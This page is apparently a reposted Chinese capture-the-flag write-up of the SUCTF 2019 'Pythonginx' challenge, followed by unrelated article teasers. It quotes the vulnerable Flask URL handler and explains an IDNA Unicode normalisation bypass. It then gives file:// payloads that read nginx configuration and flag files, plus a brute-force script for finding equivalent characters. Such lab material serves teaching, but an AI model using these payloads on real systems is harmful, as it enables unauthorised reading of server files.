[SUCTF 2019]Pythonginx 1

news/2024/11/29 20:42:10/

[SUCTF 2019]Pythonginx 1

打开环境,我们获得一串源码

@app.route('/getUrl', methods=['GET', 'POST']) 
def getUrl(): url = request.args.get("url") host = parse.urlparse(url).hostname  #解析主机名if host == 'suctf.cc': return "我扌 your problem? 111" parts = list(urlsplit(url)) host = parts[1] if host == 'suctf.cc': return "我扌 your problem? 222 " + host newhost = [] for h in host.split('.'): newhost.append(h.encode('idna').decode('utf-8')) parts[1] = '.'.join(newhost) #去掉 url 中的空格 finalUrl = urlunsplit(parts).split(' ')[0] # 将主机名再次组合成 urlhost = parse.urlparse(finalUrl).hostname if host == 'suctf.cc': return urllib.request.urlopen(finalUrl).read() else: return "我扌 your problem? 333" 

代码审计
前两个 if 判断 host是否含有 suctf.cc 如果有就报错,经过 utf-8 解码 idna 编码 之后传入到 urlunsplit函数 组合成url ,再用 if 和suctf.cc进行一次比较 如果相同 就 进行读取。

我们先了解下 idna
idna 国际化域名应用,国际化域名(Internationalized Domain Name,IDN)又名特殊字符域名,是指部分或完全使用特殊文字或字母组成的互联网域名,包括中文、发育、阿拉伯语、希伯来语或拉丁字母等非英文字母,这些文字经过多字节万国码编码而成。在域名系统中,国际化域名使用punycode转写并以
ASCII字符串存储。
.
℆这个字符,如果使用python3进行idna编码的话
print(‘℆’.encode(‘idna’))
结果
b’c/u’
如果再使用utf-8进行解码的话
print(b’c/u’.decode(‘utf-8’))
结果
c/u
通过这种方法可以绕过本题
参考文章(上面一段话的原出处实在是找不见了)

nginx文件存放的地方

配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf

所以
我们可以利用python3进行idna编码这一特性 对配置文件目录进行访问
payload

getUrl?url=file://suctf.c℆sr/local/nginx/conf/nginx.conf

在这里插入图片描述
访问 flag
对 ℆ 进行 url编码 %E2%84%86

file://suctf.c%E2%84%86sr/fffffflag

访问 获得 flag

在这里插入图片描述

在本题中 还有很多师傅 直接使用脚本 直接爆破 能够encode成c的特殊字符

大佬使用的脚本:

from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():for x in range(65536):uni=chr(x)url="http://suctf.c{}".format(uni)try:if getUrl(url):print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])except:passdef getUrl(url):url = urlhost = parse.urlparse(url).hostnameif host == 'suctf.cc':return Falseparts = list(urlsplit(url))host = parts[1]if host == 'suctf.cc':return Falsenewhost = []for h in host.split('.'):newhost.append(h.encode('idna').decode('utf-8'))parts[1] = '.'.join(newhost)finalUrl = urlunsplit(parts).split(' ')[0]host = parse.urlparse(finalUrl).hostnameif host == 'suctf.cc':return Trueelse:return Falseif __name__=="__main__":get_unicode()

爆破出
str: ℂ unicode: \u2102
str: ℭ unicode: \u212d
str: Ⅽ unicode: \u216d
str: ⅽ unicode: \u217d
str: Ⓒ unicode: \u24b8
str: ⓒ unicode: \u24d2
str: C unicode: \uff23
str: c unicode: \uff43

随便找一个进行访问即可

getUrl?url=file://suctf.cℂ/usr/local/nginx/conf/nginx.conf
file://suctf.cℂ/usr/fffffflag

http://www.ppmy.cn/news/194796.html

相关文章

汇编语言06C0H,请问下面这段汇编语言是什么意思?

请问下面这段汇编语言是什么意思? Listing: 00401000: 6801604100 push 00416001h 00401005: E801000000 call 0040100Bh 0040100A: C3 ret 0040100B: C3 ret 0040100C: 772B jnbe 401039h 0040100E: 02D5 add dl, ch 00401010: 3AFE cmp bh, dh 00401012: D416 aam…

研究1

1 20万、50万、100万的算法工程师,到底有什么区别? https://mp.weixin.qq.com/s?__bizMzI0ODcxODk5OA&mid2247489042&idx3&sne1ba4d46032c5003ca3bbafb6ef17fc2&chksme99d25ebdeeaacfddf3ae714d013d2fd02385c515699eb97923b18f13ca7ff…

华三交换机配置access命令_h3c交换机配置命令

1.修改名称 sysname 名称 2.进入aaa模式 [5F/L01]aaa # aaa authentication-scheme default authorization-scheme default accounting-scheme default domain default domain default_admin local-user admin password simple admin local-user admin service-type http local…

密码学--SHA-1算法(C++实现+详细注释+测试)

源码&#xff1a; #include<bits/stdc.h> #define H_NUM 8 //一个字32bite也就是8个十六进制数(4bite) #define BINARY 16 //16进制 #define GROUP_BIT 512 //消息认证码一组512bite using namespace std; //文件中的数据 string s; //5个寄存器的初始值 string A0 …

802.11h halow(Short Beacon, s1g beacon)

序言 前一节我们讨论的802.11ah中的MAC头部压缩&#xff0c;本节我们讨论802.11ah中的Short Beacon。其实这几个设计都是围绕着压缩帧大小这个话题展开的&#xff0c;目的明确。理解这几个设计可以加深对于802.11相关字段的理解。 Short Beacon的意义 为什么要特意压缩Beaco…

CL1初识C语言

提示&#xff1a;该账号是本人的学习记录&#xff0c;希望同大家一起学习&#xff0c;如有错误希望广大网友帮助我加以改正&#xff01;如果太久没更新&#xff0c;快找人骂我回来&#xff01;&#xff01;哈哈哈&#xff01;&#xff01; 文章目录 前言一、什么是C语言?1、C语…

vue_day1

1 前端发展介绍 1.HTML(5)、CSS(3)、JavaScript(ES5、ES6)&#xff1a;编写一个个的页面 -> 给后端(PHP、Python、Go、Java) -> 后端嵌入模板语法 -> 后端渲染完数据 -> 返回数据给前端 -> 在浏览器中查看2.Ajax的出现 -> 后台发送异步请求&#xff0c;Rend…

1. Docker概述

(1)基本介绍 Docker 可以让开发者打包他们的应用以及依赖包到一个轻量级、可移植的容器中&#xff0c;然后发布到任何流行的 Linux 机器上&#xff0c;也可以实现虚拟化。 Docker 从 17.03 版本之后分为 CE&#xff08;Community Edition: 社区版&#xff09; 和 EE&#xff…